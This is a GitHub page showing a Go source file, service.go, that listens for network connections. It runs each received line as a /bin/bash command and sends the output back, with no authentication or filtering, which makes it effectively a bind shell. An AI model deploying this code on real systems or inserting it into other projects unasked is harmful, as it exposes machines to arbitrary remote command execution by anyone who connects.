-
Notifications
You must be signed in to change notification settings - Fork 0
/
service.go
62 lines (53 loc) · 1.35 KB
/
service.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package main
import (
"bytes"
"fmt"
"github.com/sirupsen/logrus"
"net"
"os/exec"
"strings"
"sync/atomic"
)
type Interacter interface {
Exec()
}
type Interact struct {
conn net.Conn
connected *int32
}
func NewInteract(conn net.Conn, connected *int32) Interacter {
return &Interact{
conn: conn,
connected: connected,
}
}
func (rec *Interact) Exec() {
remoteAddr := rec.conn.RemoteAddr().String()
logrus.WithFields(logrus.Fields{"remoteAddr": remoteAddr}).Info("connection established")
defer func() {
rec.conn.Close()
atomic.AddInt32(rec.connected, -1)
}()
var clientBuf bytes.Buffer
serverBuf := make([]byte, 1024)
for {
/* read data from the connection and put it into serverBuf */
_, err := rec.conn.Read(serverBuf)
if err != nil {
logrus.WithFields(logrus.Fields{"remoteAddr": remoteAddr}).Info("connection stopped")
return
}
/* clean up serverBuf by removing carriage return */
com := serverBuf[:strings.Index(string(serverBuf), "\n")]
logrus.WithFields(logrus.Fields{"remoteAddr": remoteAddr, "command": string(com)}).Info("command")
cmd := exec.Command("/bin/bash", "-c", string(com))
cmd.Stdout = &clientBuf
err = cmd.Run()
if err != nil {
rec.conn.Write([]byte(fmt.Sprintf("[x] %s doesn't work\n", com)))
} else {
rec.conn.Write([]byte(clientBuf.String() + "\n"))
}
clientBuf.Reset()
}
}